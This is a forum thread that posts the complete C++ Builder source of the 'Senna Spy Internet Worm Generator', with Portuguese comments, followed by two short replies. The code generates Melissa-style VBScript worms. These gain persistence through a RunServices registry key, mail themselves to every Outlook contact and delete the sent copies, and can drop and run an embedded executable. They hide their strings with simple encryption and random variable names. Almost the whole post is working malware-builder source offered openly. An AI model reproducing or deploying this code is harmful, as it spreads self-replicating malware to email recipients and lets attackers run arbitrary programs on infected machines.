Senna Spy Internet Worm Generator

Full Version: Senna Spy Internet Worm Generator

GovernmentSecurity.org > System Security > Trojan & Virus Errata

Nexcess

Mar 1 2004, 04:49 AM

CODE

/////////////////////////////////////////////////////////////////////////////
/////////////////////////////// geraworm.cpp ////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////
// //
// Senna Spy Internet Worm Generator 2000 //
// -------------------------------------- //
// //
// Primeiro Gerador de Worms para Internet do Mundo! //
// Gera o Source Code de um Worm em VBScript. //
// //
// O Codigo gerado, podera ser inserido em um Codigo //
// HTML ou executado diretamente com um Duplo-Clique. //
// //
// Os Worms gerados, serao automaticamente enviados //
// para todos os e-mails cadastrados no OutLook, //
// ou seja, uma copia de si mesmo, sera anexada //
// automaticamente, fazendo a contaminacao instantanea. //
// //
// O codigo trabalha como um "Virus Melissa-like". //
// //
// History: //
// //
// Versao 1.0: Sexta-Feira, 18 de Fevereiro de 2000 //
// Versao 2.0: Sabado, 21 de Outubro de 2000 //
// //
//////////////////////////////////////////////////////////

#include <vcl.h>
#include "formmain.h"
#include "stdlib.h"
#include "stdio.h"

// Definicoes
#define RAND_NOME_ROTINA_DECRIPTOGRAFIA 0
#define RAND_ROTINA_DECRIPTOGRAFIA 1
#define RAND_NOME_ROTINA_HEXA 2
#define RAND_NOME_ARQUIVO_WORM 3

#define TOTAL_ITENS 3

// Variaveis Randomicas que Serao Usadas no Source do Worm
#define RAND_VARIAVEL_01 ( TOTAL_ITENS + 1 )
#define RAND_VARIAVEL_02 ( RAND_VARIAVEL_01 + 1 )
#define RAND_VARIAVEL_03 ( RAND_VARIAVEL_02 + 1 )
#define RAND_VARIAVEL_04 ( RAND_VARIAVEL_03 + 1 )
#define RAND_VARIAVEL_05 ( RAND_VARIAVEL_04 + 1 )
#define RAND_VARIAVEL_06 ( RAND_VARIAVEL_05 + 1 )
#define RAND_VARIAVEL_07 ( RAND_VARIAVEL_06 + 1 )
#define RAND_VARIAVEL_08 ( RAND_VARIAVEL_07 + 1 )
#define RAND_VARIAVEL_09 ( RAND_VARIAVEL_08 + 1 )
#define RAND_VARIAVEL_10 ( RAND_VARIAVEL_09 + 1 )
#define RAND_VARIAVEL_11 ( RAND_VARIAVEL_10 + 1 )
#define RAND_VARIAVEL_12 ( RAND_VARIAVEL_11 + 1 )
#define RAND_VARIAVEL_13 ( RAND_VARIAVEL_12 + 1 )
#define RAND_VARIAVEL_14 ( RAND_VARIAVEL_13 + 1 )
#define RAND_VARIAVEL_15 ( RAND_VARIAVEL_14 + 1 )
#define RAND_VARIAVEL_16 ( RAND_VARIAVEL_15 + 1 )
#define RAND_VARIAVEL_17 ( RAND_VARIAVEL_16 + 1 )

#define RAND_TOTAL RAND_VARIAVEL_17
#define RAND_GERAL ( TOTAL_ITENS + RAND_TOTAL + 1 )

//////////////////////////////////////////////////////////////////////////////////////
// //
// RAND_NOME_ROTINA_CRIPTOGRAFIA: //
// //
// Nome da Rotina de Criptografia //
// - Maximo de 8 Caracteres - Somente Letras e Numeros //
// //
// RAND_ROTINA_CRIPTOGRAFIA: //
// //
// Tipo de Rotina de Criptografia que Sera Usada na Criacao dos Sources do Worm: //
// - 0 = Nenhuma Criptografia //
// - 1 = Rotina String Normal Invertida //
// - 2 = Rotina ASC() + 1 Normal //
// - 3 = Rotina ASC() + 1 Invertida //
// - 4 = Rotina ASC() - 1 Normal //
// - 5 = Rotina ASC() - 1 Invertida //
// //
// RAND_NOME_ARQUIVO_WORM: //
// //
// Nome Randomico do Worm: //
// - Maximo de 8 Caracteres - Somente Letras e Numeros //
// //
// RAND_VARIAVEL_01 a RAND_VARIAVEL_XX: //
// //
// Nome Randomico das Variaveis de Uso Geral do Worm //
// - Maximo de 8 Caracteres - Somente Letras e Numeros //
// //
//////////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////
// //
// GerarDadosRandomicos() - Gera os Dados Randomicos que Serao Usados no Worm //
// //
////////////////////////////////////////////////////////////////////////////////

static void GerarDadosRandomicos( TStringList * MyRandomList )
{
// Variaveis
AnsiString cElemento;

int nTamanho;

int nLoop2;
int nLoop;

int nRand;

// Cria Elementos Vazios
for( nLoop = 0; nLoop < RAND_GERAL; nLoop ++ )
{
// Processa Eventos
Application->ProcessMessages();

// Somente para Itens Vazios
if( MyRandomList->Strings[ nLoop ].IsEmpty() )
{
// Verifica se o Item a Ser Preenchido eh a Rotina de Criptografia
if( nLoop == RAND_ROTINA_DECRIPTOGRAFIA )
{
// Escolhe o Tipo de Rotina de Criptografia - de 1 a 5
do
{
nRand = random( 6 );
}
while( nRand < 1 || nRand > 5 );

// Define Qual Sera a Rotina de Decriptografia
MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] = IntToStr( nRand );
}
// Para os Outros Elementos...
else
{
// Obtem o Tamanho da Variavel
do
{
nTamanho = random( 9 );
}
while( nTamanho < 3 || nTamanho > 8 );

// Obtem o Primeiro Caracter - Deve ser Letra
do
{
nRand = random( 91 );
}
while( nRand < 'A' || nRand > 'Z' );

// Preenche Variavel
cElemento = AnsiString( (char) nRand );

// Gera Letra de Cada Variavel
for( nLoop2 = 1; nLoop2 < nTamanho; nLoop2 ++ )
{
// Obtem Letras e Numeros Somente
while( true )
{
nRand = random( 91 );

// Somente Caracteres Validos
if( ( nRand >= '0' && nRand <= '9' ) ||
( nRand >= 'A' && nRand <= 'Z' ) )
{
break;
}
}

// Preenche Elemento
cElemento = cElemento + AnsiString( (char) nRand );
}

// Nao Podem Existir Elementos Repetidos...
if( MyRandomList->IndexOf( cElemento ) == -1 )
MyRandomList->Strings[ nLoop ] = cElemento;
else
GerarDadosRandomicos( MyRandomList );
}
}
}
}

//////////////////////////////////////////
// //
// Criptografa() - Criptografa os Dados //
// //
//////////////////////////////////////////

AnsiString Criptografa( TStringList * MyRandomList, char * cDados )
{
AnsiString cNovosDados = "";

unsigned int nLoop;

// Verifica a Rotina de Criptografia
if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "0" )
{
return( "\"" + AnsiString( cDados ) + "\"" );
}
// Rotina Tipo 1 - String Normal Invertida
else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "1" )
{
for( nLoop = 0; nLoop < strlen( cDados ); nLoop ++ )
cNovosDados = AnsiString( (char) cDados[ nLoop ] ) + cNovosDados;
}
// Rotina Tipo 2 - Rotina ASC()+1 - Normal
else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "2" )
{
for( nLoop = 0; nLoop < strlen( cDados ); nLoop ++ )
cNovosDados = cNovosDados + AnsiString( (char) (cDados[ nLoop ] + 1) );
}
// Rotina Tipo 3 - Rotina ASC()+1 - Invertida
else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "3" )
{
for( nLoop = 0; nLoop < strlen( cDados ); nLoop ++ )
cNovosDados = AnsiString( (char) (cDados[ nLoop ] + 1) ) + cNovosDados;
}
// Rotina Tipo 4 - Rotina ASC()-1 - Normal
else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "4" )
{
for( nLoop = 0; nLoop < strlen( cDados ); nLoop ++ )
cNovosDados = cNovosDados + AnsiString( (char) (cDados[ nLoop ] - 1) );
}
// Rotina Tipo 5 - Rotina ASC()-1 - Invertida
else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "5" )
{
for( nLoop = 0; nLoop < strlen( cDados ); nLoop ++ )
cNovosDados = AnsiString( (char) (cDados[ nLoop ] - 1) ) + cNovosDados;
}

// Retorno
return( MyRandomList->Strings[ RAND_NOME_ROTINA_DECRIPTOGRAFIA ] + "( \"" + cNovosDados + "\" )" );
}

//////////////////////////////////////////////////
// //
// GeraWormVBScript() - Gera o Worm em VBScript //
// //
//////////////////////////////////////////////////

void GeraWormVBScript( AnsiString cArquivo )
{
// Variaveis para Controle do Outlook
AnsiString OL01, OL02, OL03, OL04, OL05;
// Variaveis para Controle da Criptografia
AnsiString CR01, CR02, CR03, CR04;
// Variaveis para Controle do Registry
AnsiString RG01, RG02;
// Variaveis para Controle do Arquivo (File Join)
AnsiString AR01, AR02, AR03;
// Variaveis para Controle da Rotina de Conversao Hexa
AnsiString HE01, HE02, HE03;

AnsiString WORM;

FILE * fArquivo;

unsigned int nLoop;
int nLoop2;

// Criar Lista
TStringList * MyRandomList = new TStringList();

// Cria Elementos Vazios
for( nLoop = 0; nLoop < RAND_GERAL; nLoop ++ )
MyRandomList->Add( "" );

// Verifica a Rotina de Criptografia
if( FormWorm->CheckBoxCrypt->Checked )
{
// Gera os Dados Randomicos
GerarDadosRandomicos( MyRandomList );
}
else
{
MyRandomList->Strings[ RAND_NOME_ROTINA_DECRIPTOGRAFIA ] = "DECRYPT";
MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] = "0";
MyRandomList->Strings[ RAND_NOME_ROTINA_HEXA ] = "HEXACONV";
MyRandomList->Strings[ RAND_NOME_ARQUIVO_WORM ] = "SENNASPY";

MyRandomList->Strings[ RAND_VARIAVEL_01 ] = "OL01";
MyRandomList->Strings[ RAND_VARIAVEL_02 ] = "OL02";
MyRandomList->Strings[ RAND_VARIAVEL_03 ] = "OL03";
MyRandomList->Strings[ RAND_VARIAVEL_04 ] = "OL04";
MyRandomList->Strings[ RAND_VARIAVEL_05 ] = "OL05";
MyRandomList->Strings[ RAND_VARIAVEL_06 ] = "CR01";
MyRandomList->Strings[ RAND_VARIAVEL_07 ] = "CR02";
MyRandomList->Strings[ RAND_VARIAVEL_08 ] = "CR03";
MyRandomList->Strings[ RAND_VARIAVEL_09 ] = "CR04";
MyRandomList->Strings[ RAND_VARIAVEL_10 ] = "RG01";
MyRandomList->Strings[ RAND_VARIAVEL_11 ] = "RG02";
MyRandomList->Strings[ RAND_VARIAVEL_12 ] = "AR01";
MyRandomList->Strings[ RAND_VARIAVEL_13 ] = "AR02";
MyRandomList->Strings[ RAND_VARIAVEL_14 ] = "AR03";
MyRandomList->Strings[ RAND_VARIAVEL_15 ] = "HE01";
MyRandomList->Strings[ RAND_VARIAVEL_16 ] = "HE02";
MyRandomList->Strings[ RAND_VARIAVEL_17 ] = "HE03";
}

// Criar Lista
TStringList * MyList = new TStringList();

// Obtem os Nomes das Variaveis Randomicas
OL01 = MyRandomList->Strings[ RAND_VARIAVEL_01 ];
OL02 = MyRandomList->Strings[ RAND_VARIAVEL_02 ];
OL03 = MyRandomList->Strings[ RAND_VARIAVEL_03 ];
OL04 = MyRandomList->Strings[ RAND_VARIAVEL_04 ];
OL05 = MyRandomList->Strings[ RAND_VARIAVEL_05 ];

CR01 = MyRandomList->Strings[ RAND_VARIAVEL_06 ];
CR02 = MyRandomList->Strings[ RAND_VARIAVEL_07 ];
CR03 = MyRandomList->Strings[ RAND_VARIAVEL_08 ];
CR04 = MyRandomList->Strings[ RAND_VARIAVEL_09 ];

RG01 = MyRandomList->Strings[ RAND_VARIAVEL_10 ];
RG02 = MyRandomList->Strings[ RAND_VARIAVEL_11 ];

AR01 = MyRandomList->Strings[ RAND_VARIAVEL_12 ];
AR02 = MyRandomList->Strings[ RAND_VARIAVEL_13 ];
AR03 = MyRandomList->Strings[ RAND_VARIAVEL_14 ];

HE01 = MyRandomList->Strings[ RAND_VARIAVEL_15 ];
HE02 = MyRandomList->Strings[ RAND_VARIAVEL_16 ];
HE03 = MyRandomList->Strings[ RAND_VARIAVEL_17 ];

WORM = MyRandomList->Strings[ RAND_NOME_ARQUIVO_WORM ] + ".VBS";

// Cria o Worm
MyList->Add( "On Error Resume Next" );

// Declaracao de Variaveis
if( FormWorm->CheckBoxOutlook->Checked )
{
MyList->Add( "" );
MyList->Add( "Dim " + OL01 + ", " +
OL02 + ", " +
OL03 + ", " +
OL04 + ", " +
OL05 );
}

if( FormWorm->CheckBoxRegistry->Checked )
{
MyList->Add( "" );
MyList->Add( "Dim " + RG01 + ", " +
RG02 );
}

if( ! FormWorm->PanelJoinFile->Caption.IsEmpty() )
{
MyList->Add( "" );
MyList->Add( "Dim " + AR01 + ", " +
AR02 + ", " +
AR03 );
}

// Parte do Codigo para Inicializacao pelo Registry
if( FormWorm->CheckBoxRegistry->Checked )
{
MyList->Add( "" );
MyList->Add( "Set " + RG01 + " = CreateObject( " + Criptografa( MyRandomList, "Scripting.FileSystemObject" ) + " )" );

MyList->Add( RG01 + ".CopyFile WScript.ScriptFullName, " +
RG01 + ".BuildPath( " +
RG01 + ".GetSpecialFolder(" +
IntToStr( FormWorm->RadioGroupWorm->ItemIndex ) +
"), " +
Criptografa( MyRandomList, WORM.c_str() ) +
" )" );

MyList->Add( "" );
MyList->Add( "Set " + RG02 + " = CreateObject( " + Criptografa( MyRandomList, "WScript.Shell" ) + " )" );

MyList->Add( RG02 + ".RegWrite " +
Criptografa( MyRandomList, "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\\" ) +
" & " +
Criptografa( MyRandomList, MyRandomList->Strings[ RAND_NOME_ARQUIVO_WORM ].c_str() ) +
", " +
RG01 + ".BuildPath( " + RG01 + ".GetSpecialFolder(" + IntToStr( FormWorm->RadioGroupWorm->ItemIndex ) +
"), " +
Criptografa( MyRandomList, WORM.c_str() ) +
" )" );
}

// Parte de Criacao do Arquivo
if( ! FormWorm->PanelJoinFile->Caption.IsEmpty() )
{
MyList->Add( "" );
MyList->Add( "Set " + AR01 + " = CreateObject( " + Criptografa( MyRandomList, "Scripting.FileSystemObject" ) + " )" );

MyList->Add( "Set " + AR02 + " = " +
AR01 + ".CreateTextFile( " +
AR01 + ".BuildPath( " +
AR01 + ".GetSpecialFolder(" +
IntToStr( FormWorm->RadioGroupExecutable->ItemIndex ) +
"), " +
Criptografa( MyRandomList, ExtractFileName( FormWorm->PanelJoinFile->Caption ).c_str() ) +
" ), True )" );
MyList->Add( "" );

// Faz a Abertura do Arquivo
if( ( fArquivo = fopen( FormWorm->OpenDialog1->FileName.c_str(), "rb" ) ) == NULL )
{
ShowMessage( "Read file error !" );
}
else
{
AnsiString cString;

int nContador = 0;
int nCaracter;

// Faz a Leitura de Todo o Arquivo
while( ! feof( fArquivo ) )
{
// Obtem o Caracter
nCaracter = fgetc( fArquivo );

// Converte Estrutura do Arquivo para Hexa
if( nCaracter != EOF )
cString = cString + IntToHex( nCaracter, 2 );

// Se Ultrapassou 40 Caracteres ou Fim-de-Arquivo...
if( ++ nContador > 40 || feof( fArquivo ) )
{
// Grava Linha
MyList->Add( AR02 +
".Write( " +
MyRandomList->Strings[ RAND_NOME_ROTINA_HEXA ] +
"( " +
Criptografa( MyRandomList, cString.c_str() ) +
" ) )" );

// Inicializa Variaveis
cString = "";
nContador = 0;
}
}

// Fecha Arquivo
fclose( fArquivo );
}

MyList->Add( AR02 + ".Close" );

// Executar Arquivo ?
if( FormWorm->CheckBoxRunFile->Checked )
{
MyList->Add( "" );
MyList->Add( "Set " + AR03 + " = CreateObject( " + Criptografa( MyRandomList, "WScript.Shell" ) + " )" );
MyList->Add( AR03 + ".Run( " +
AR01 + ".BuildPath( " +
AR01 + ".GetSpecialFolder(" +
IntToStr( FormWorm->RadioGroupExecutable->ItemIndex ) +
"), " +
Criptografa( MyRandomList, ExtractFileName( FormWorm->PanelJoinFile->Caption ).c_str() ) +
" ) )" );
}
}

// Parte do Codigo para Outlook
if( FormWorm->CheckBoxOutlook->Checked )
{
MyList->Add( "" );
MyList->Add( "Set " + OL01 + " = CreateObject( " + Criptografa( MyRandomList, "Outlook.Application" ) + " )" );
MyList->Add( "Set " + OL02 + " = " + OL01 + ".GetNameSpace( " + Criptografa( MyRandomList, "MAPI" ) + " )" );
MyList->Add( "" );
MyList->Add( "For Each " + OL03 + " In " + OL02 + ".AddressLists" );
MyList->Add( " For " + OL04 + " = 1 To " + OL03 + ".AddressEntries.Count" );
MyList->Add( " Set " + OL05 + " = " + OL01 + ".CreateItem( 0 )" );
MyList->Add( "" );
MyList->Add( " " + OL05 + ".BCC = " + OL03 + ".AddressEntries( " + OL04 + " ).Address" );
MyList->Add( "" );
MyList->Add( " " + OL05 + ".Subject = " + Criptografa( MyRandomList, FormWorm->EditSubject->Text.Trim().c_str() ) );
MyList->Add( " " + OL05 + ".Body = " + Criptografa( MyRandomList, FormWorm->MemoMessage->Lines->Text.Trim().c_str() ) );
MyList->Add( " " + OL05 + ".Attachments.Add WScript.ScriptFullName" );
MyList->Add( " " + OL05 + ".DeleteAfterSubmit = True" );
MyList->Add( " " + OL05 + ".Send" );
MyList->Add( " Next" );
MyList->Add( "Next" );
}

// Somente se a Opcao de Arquivos (File Join) Estiver Selecionada
if( ! FormWorm->PanelJoinFile->Caption.IsEmpty() )
{
MyList->Add( "" );
MyList->Add( "Function " + MyRandomList->Strings[ RAND_NOME_ROTINA_HEXA ] + "( " + HE01 + " )" );
MyList->Add( " Dim " + HE02 );
MyList->Add( " Dim " + HE03 );
MyList->Add( "" );
MyList->Add( " " + HE02 + " = \"\"" );
MyList->Add( "" );
MyList->Add( " For " + HE03 + " = 1 To Len( " + HE01 + " ) Step 2" );
MyList->Add( " " + HE02 + " = " + HE02 + " & Chr( \"&h\" & Mid( " + HE01 + ", " + HE03 + ", 2 ) )" );
MyList->Add( " Next" );
MyList->Add( "" );
MyList->Add( " " + MyRandomList->Strings[ RAND_NOME_ROTINA_HEXA ] + " = " + HE02 );
MyList->Add( "End Function" );
}

// Somente se a Opcao de Criptografia Estiver Selecionada
if( FormWorm->CheckBoxCrypt->Checked )
{
MyList->Add( "" );
MyList->Add( "Function " + MyRandomList->Strings[ RAND_NOME_ROTINA_DECRIPTOGRAFIA ] + "( " + CR01 + " )" );
MyList->Add( " Dim " + CR02 );
MyList->Add( " Dim " + CR03 );
MyList->Add( " Dim " + CR04 );
MyList->Add( "" );
MyList->Add( " " + CR02 + " = \"\"" );
MyList->Add( "" );
MyList->Add( " For " + CR03 + " = 1 To Len( " + CR01 + " )" );
MyList->Add( " " + CR04 + " = Mid( " + CR01 + ", " + CR03 + ", 1 )" );
MyList->Add( "" );

// Rotina Tipo 1 - String Normal Invertida
if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "1" )
{
MyList->Add( " " + CR02 + " = " + CR04 + " & " + CR02 );
}
// Rotina Tipo 2 - Rotina ASC()+1 - Normal
else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "2" )
{
MyList->Add( " " + CR02 + " = " + CR02 + " & Chr( Asc( " + CR04 + " ) - 1 )" );
}
// Rotina Tipo 3 - Rotina ASC()+1 - Invertida
else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "3" )
{
MyList->Add( " " + CR02 + " = Chr( Asc( " + CR04 + " ) - 1 ) & " + CR02 );
}
// Rotina Tipo 4 - Rotina ASC()-1 - Normal
else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "4" )
{
MyList->Add( " " + CR02 + " = " + CR02 + " & Chr( Asc( " + CR04 + " ) + 1 )" );
}
// Rotina Tipo 5 - Rotina ASC()-1 - Invertida
else if( MyRandomList->Strings[ RAND_ROTINA_DECRIPTOGRAFIA ] == "5" )
{
MyList->Add( " " + CR02 + " = Chr( Asc( " + CR04 + " ) + 1 ) & " + CR02 );
}

MyList->Add( " Next" );
MyList->Add( "" );
MyList->Add( " " + MyRandomList->Strings[ RAND_NOME_ROTINA_DECRIPTOGRAFIA ] + " = " + CR02 );
MyList->Add( "End Function" );
}

// NAO Alinhar Codigo ?
if( ! FormWorm->CheckBoxAlign->Checked )
{
// Remove Espacos do Inicio e Fim de Cada Linha
for( nLoop2 = 0; nLoop2 < MyList->Count; nLoop2 ++ )
MyList->Strings[ nLoop2 ] = MyList->Strings[ nLoop2 ].Trim();

// Remove Linhas em Branco
for( nLoop2 = MyList->Count - 1; nLoop2 >= 0; nLoop2 -- )
{
if( MyList->Strings[ nLoop2 ].IsEmpty() )
MyList->Delete( nLoop2 );
}
}

// Gravar o Source do Worm
MyList->SaveToFile( cArquivo );

// Libera Memoria
delete MyList;

// Libera Memoria
delete MyRandomList;
}
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////// geraworm.cpp ////////////////////////////////
/////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////
/////////////////////////////// formmain.cpp ////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop

void GeraWormVBScript( AnsiString cArquivo );

#include "formmain.h"
#include "shellapi.h"
#include "stdlib.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TFormWorm *FormWorm;

AnsiString cPanelTitulo1;
AnsiString cPanelTitulo2;
AnsiString cPanelTitulo3;

AnsiString cCheckCrypt;

AnsiString cEditWormName;
AnsiString cEditSubject;
AnsiString cEditMessage;

AnsiString cLabelWormName;
AnsiString cLabelSubject;
AnsiString cLabelMessage;

AnsiString cBotaoSair;
AnsiString cBotaoCriar;

//---------------------------------------------------------------------------
__fastcall TFormWorm::TFormWorm(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TFormWorm::FormCreate(TObject *Sender)
{
randomize();

cPanelTitulo1 = FormWorm->PanelTitulo1->Caption;

FormWorm->Caption = cPanelTitulo1;

cCheckCrypt = FormWorm->CheckBoxCrypt->Caption;

cEditWormName = FormWorm->EditWormName->Text;
cEditSubject = FormWorm->EditSubject->Text;
cEditMessage = FormWorm->MemoMessage->Lines->Text;

cLabelWormName = FormWorm->LabelWormName->Caption;
cLabelSubject = FormWorm->LabelSubject->Caption;
cLabelMessage = FormWorm->LabelMessage->Caption;

cBotaoSair = FormWorm->BotaoSair->Caption;
cBotaoCriar = FormWorm->BotaoCriar->Caption;
}
void __fastcall TFormWorm::BotaoSairClick(TObject *Sender)
{
Application->Terminate();
}
//---------------------------------------------------------------------------
void __fastcall TFormWorm::BotaoCriarClick(TObject *Sender)
{
// Forcar Posicionamento do Diretorio Destino ?
if( RadioGroupWorm->Visible == false )
RadioGroupWorm->ItemIndex = 0;

// Gera Arquivo
GeraWormVBScript( "yourworm.txt.vbs" );

// Apresenta Mensagem
ShowMessage( "Worm = 'YOURWORM.TXT.VBS' generated !" );

// Finaliza Aplicacao
Application->Terminate();
}
//---------------------------------------------------------------------------
void __fastcall TFormWorm::BotaoJoinFileClick(TObject *Sender)
{
if( ! OpenDialog1->Execute() )
return;

PanelJoinFile->Caption = OpenDialog1->FileName;

if( PanelJoinFile->Caption.IsEmpty() )
{
CheckBoxRunFile->Visible = false;
CheckBoxRunFile->Checked = false;
RadioGroupExecutable->Visible = false;
}
else
{
CheckBoxRunFile->Visible = true;
RadioGroupExecutable->Visible = true;
}
}
//---------------------------------------------------------------------------

void __fastcall TFormWorm::CheckBoxOutlookClick(TObject *Sender)
{
LabelSubject->Enabled = CheckBoxOutlook->Checked;
LabelMessage->Enabled = CheckBoxOutlook->Checked;

EditSubject->Enabled = CheckBoxOutlook->Checked;
MemoMessage->Enabled = CheckBoxOutlook->Checked;
}
//---------------------------------------------------------------------------

void __fastcall TFormWorm::CheckBoxRegistryClick(TObject *Sender)
{
RadioGroupWorm->Visible = CheckBoxRegistry->Checked;
}
//---------------------------------------------------------------------------

void __fastcall TFormWorm::ButtonClearClick(TObject *Sender)
{
OpenDialog1->FileName = "";

PanelJoinFile->Caption = "";

RadioGroupExecutable->Visible = false;

CheckBoxRunFile->Visible = false;
CheckBoxRunFile->Checked = false;
}
//---------------------------------------------------------------------------
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////// formmain.cpp ////////////////////////////////
/////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////
///////////////////////////////// formain.h /////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
//---------------------------------------------------------------------------
#ifndef formmainH
#define formmainH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <ExtCtrls.hpp>
#include <Dialogs.hpp>
//---------------------------------------------------------------------------
class TFormWorm : public TForm
{
__published: // IDE-managed Components
TPanel *PanelTitulo1;
TButton *BotaoSair;
TGroupBox *GroupBox1;
TLabel *LabelWormName;
TEdit *EditWormName;
TLabel *LabelSubject;
TEdit *EditSubject;
TLabel *LabelMessage;
TCheckBox *CheckBoxCrypt;
TButton *BotaoCriar;
TCheckBox *CheckBoxOutlook;
TCheckBox *CheckBoxAlign;
TOpenDialog *OpenDialog1;
TButton *BotaoJoinFile;
TCheckBox *CheckBoxRunFile;
TRadioGroup *RadioGroupWorm;
TCheckBox *CheckBoxRegistry;
TPanel *Panel1;
TMemo *MemoMessage;
TPanel *PanelJoinFile;
TRadioGroup *RadioGroupExecutable;
TButton *ButtonClear;
void __fastcall FormCreate(TObject *Sender);
void __fastcall BotaoSairClick(TObject *Sender);
void __fastcall BotaoCriarClick(TObject *Sender);
void __fastcall BotaoJoinFileClick(TObject *Sender);
void __fastcall CheckBoxOutlookClick(TObject *Sender);
void __fastcall CheckBoxRegistryClick(TObject *Sender);
void __fastcall ButtonClearClick(TObject *Sender);
private: // User declarations
public: // User declarations
__fastcall TFormWorm(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TFormWorm *FormWorm;
//---------------------------------------------------------------------------
#endif
/////////////////////////////////////////////////////////////////////////////
///////////////////////////////// formain.h /////////////////////////////////
/////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////
//////////////////////////////// ssiwg.cpp /////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop
USERES("ssiwg.res");
USEFORM("formmain.cpp", FormWorm);
USEUNIT("geraworm.cpp");
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
try
{
Application->Initialize();
Application->CreateForm(__classid(TFormWorm), &FormWorm);
Application->Run();
}
catch (Exception &exception)
{
Application->ShowException(&exception);
}
return 0;
}
//---------------------------------------------------------------------------
/////////////////////////////////////////////////////////////////////////////
//////////////////////////////// ssiwg.cpp /////////////////////////////////
/////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////
///////////////////////////////// ssiwg.brp /////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
# ---------------------------------------------------------------------------
!if !$d(BCB)
BCB = $(MAKEDIR)\..
!endif

# ---------------------------------------------------------------------------
# IDE SECTION
# ---------------------------------------------------------------------------
# The following section of the project makefile is managed by the BCB IDE.
# It is recommended to use the IDE to change any of the values in this
# section.
# ---------------------------------------------------------------------------

VERSION = BCB.04.04
# ----------------------------

zero-maitimax

Mar 1 2004, 08:01 AM

didn't know that senna want this to be a opensource...

Eyeless

Mar 1 2004, 09:20 PM

Maybe they dont..... but regardless I got it. Thanks for sharing, but if you wernt suppose to shame on you!

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.